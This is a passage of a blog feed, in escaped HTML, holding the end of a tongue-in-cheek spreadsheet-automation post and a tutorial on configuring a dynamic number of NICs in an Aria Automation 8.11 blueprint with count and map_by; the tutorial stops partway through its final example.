&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;res&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;fetch&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;URL&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;param&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;await&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;res&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;json&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;4-putting-it-all-together&#34;&gt;4: putting it all together&lt;/h1&gt;
&lt;p&gt;To complete our little proof of concept, we can populate the data in the spreadsheet and use the handy &amp;ldquo;add button&amp;rdquo; option on the script to create a nice starting point for our automation. Once everything&amp;rsquo;s ready, you should be looking at something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230420-infrastructure-as-cells/button.png&#34; alt=&#34;button&#34;&gt;&lt;/p&gt;
&lt;p&gt;Clicking the glorious &amp;ldquo;AUTOMATE&amp;rdquo; button should in a few moments display a success message in the console output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230420-infrastructure-as-cells/success.png&#34; alt=&#34;success&#34;&gt;&lt;/p&gt;
&lt;h1 id=&#34;5-closing-thoughts&#34;&gt;5: closing thoughts&lt;/h1&gt;
&lt;p&gt;This obviously was a completely stupid and irrational article. Please, for the love of mankind, do not do that in prod&amp;hellip; or dev&amp;hellip; or anywhere aside from your homelab and even then take everything above with a grain of salt.&lt;/p&gt;
</content>
    </item>
    
    <item>
      <title>dynamic number of nics in aria 8.11 blueprint</title>
      <link>/posts/230413-vra8-choosing-nic-number/</link>
      <pubDate>Thu, 13 Apr 2023 00:00:00 +0000</pubDate>
      
      <guid>/posts/230413-vra8-choosing-nic-number/</guid>
      <description>intro vRealize Automation / Aria Automation 8.x allows you to setup blueprints with input fields for the users. Those can be checkboxes, drop-downs, text fields etc - you can then use that data to customize the new deployment. For example, a textbox input field could allow the user to specify a prefix to use for naming the newly deployed virtual machines.
That works well and good in most cases however there are some exceptions - one of them is allowing the user to choose the number of NICs to add to the VM.</description>
      <content>&lt;h1 id=&#34;intro&#34;&gt;intro&lt;/h1&gt;
&lt;p&gt;vRealize Automation / Aria Automation 8.x allows you to setup blueprints with input fields for the users. Those can be checkboxes, drop-downs, text fields etc - you can then use that data to customize the new deployment. For example, a textbox input field could allow the user to specify a prefix to use for naming the newly deployed virtual machines.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/posts/230413-vra8-choosing-nic-number/textbox.png&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;p&gt;That works well and good in most cases however there are some exceptions - one of them is allowing the user to choose the number of NICs to add to the VM.&lt;/p&gt;
&lt;h1 id=&#34;1-defining-network-resources&#34;&gt;1: defining network resources&lt;/h1&gt;
&lt;p&gt;Before we touch the code behind the VM configuration, we need to adjust how we define the network objects. Usually, you&amp;rsquo;d expect to see something like the below for a typical vSphere network:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;default_network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, due to how we are going to define our input fields and configure the VM itself, we need to setup our networks differently:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;default_network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;deviceIndex:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;extra_network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;deviceIndex:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The main difference here is the addition of &lt;code&gt;deviceIndex&lt;/code&gt; lines which will ensure the two networks will be assigned to the correct NICs.&lt;/p&gt;
&lt;h1 id=&#34;2-user-input&#34;&gt;2: user input&lt;/h1&gt;
&lt;p&gt;This is going to be pretty straight forward: all we need to do is to define a boolean input field for the users and ask them whether they&amp;rsquo;d like a single NIC or two. We can do that like so:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;inputs:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;extraNic:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;boolean&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;title:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Add&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;secondary&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;NIC&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;to&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;the&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;VM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;default:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id=&#34;3-dynamic-network-resources&#34;&gt;3: dynamic network resources&lt;/h1&gt;
&lt;p&gt;Now we need to ensure the second network resource (&lt;code&gt;Cloud_vSphere_Network_2&lt;/code&gt;) is &amp;ldquo;optional&amp;rdquo; so to speak. To do that, we can add a single line to its definition in the blueprint like so:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;extra_network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;count:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#39;$&lt;/span&gt;{&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;input.extraNic&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;true&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;0&lt;/span&gt;}&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;deviceIndex:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What&amp;rsquo;s gonna happen here is vRA is going to ignore the resource if the &lt;code&gt;count&lt;/code&gt; is set to zero. The &lt;code&gt;input.extraNic == true ? 1 : 0&lt;/code&gt; line checks whether the user ticked the checkbox for the extra NIC and if they did, assigns &lt;code&gt;count&lt;/code&gt; key a value of &lt;code&gt;1&lt;/code&gt; (or &lt;code&gt;0&lt;/code&gt; if they didn&amp;rsquo;t)&lt;/p&gt;
&lt;h1 id=&#34;4-dynamic-vm-networks&#34;&gt;4: dynamic vm networks&lt;/h1&gt;
&lt;p&gt;Now comes the tricky part. To make sure the VM is only provisioned with two NICs when the user checks the box in the deployment wizard, we need to use the &lt;code&gt;map_by&lt;/code&gt; function when declaring its &lt;code&gt;networks&lt;/code&gt; configuration. What &lt;code&gt;map_by&lt;/code&gt; does is - to put it simply - a conversion of strings to usable key:value pairs. This will allow us to dynamically pull the values from network resource definitions and leverage vRA&amp;rsquo;s default behavior of dropping resources with &lt;code&gt;count&lt;/code&gt; set to zero to make sure the extra NIC is only there when it&amp;rsquo;s needed. &lt;a href=&#34;https://docs.vmware.com/en/vRealize-Automation/8.11/Using-and-Managing-Cloud-Assembly/GUID-12F0BC64-6391-4E5F-AA48-C5959024F3EB.html&#34;&gt;Here you can learn more about &lt;code&gt;map_by&lt;/code&gt; and other functions available in vRA 8.x Cloud Assembly.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s how a line like that would look in our exact scenario:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networks:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;$&lt;/span&gt;{&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;map_by(resource.Cloud_vSphere_Network_1[*].*&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;resource.Cloud_vSphere_Network_2[*].*,&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;=&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;network&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net.id&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;deviceIndex&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;net.deviceIndex&lt;/span&gt;}&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;)}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can probably tell, you can easily modify that line for more optional NICs simply by adding another &lt;code&gt;resource.Cloud_vSphere_Network_X[*].*&lt;/code&gt; to the equation.&lt;/p&gt;
&lt;h1 id=&#34;5-putting-it-all-together&#34;&gt;5: putting it all together&lt;/h1&gt;
&lt;p&gt;Here&amp;rsquo;s how a very simple blueprint would look like with a single VM configured to dynamically connect to one or two networks depending on user input:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;formatVersion:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;inputs:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;extraNic:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;boolean&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;title:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Add&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;a&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;secondary&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;NIC&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;to&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;the&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;VM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;default:&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;resources:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;default_network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;eviceIndex:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Network&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;name:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;extra_network_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;networkType:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;existing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;count:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#39;$&lt;/span&gt;{&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;input.extraNic&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;true&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;?&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;1&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;0&lt;/span&gt;}&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;deviceIndex:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud_vSphere_Machine_&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;type:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;Cloud.vSphere.Machine&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;properties:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;image:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;vm_template&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;cpuCount:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;totalMemoryMB:&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;storage:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;constraints:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;tag:&lt;/span&gt; &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;storage:gold_tier&lt;/span&gt;
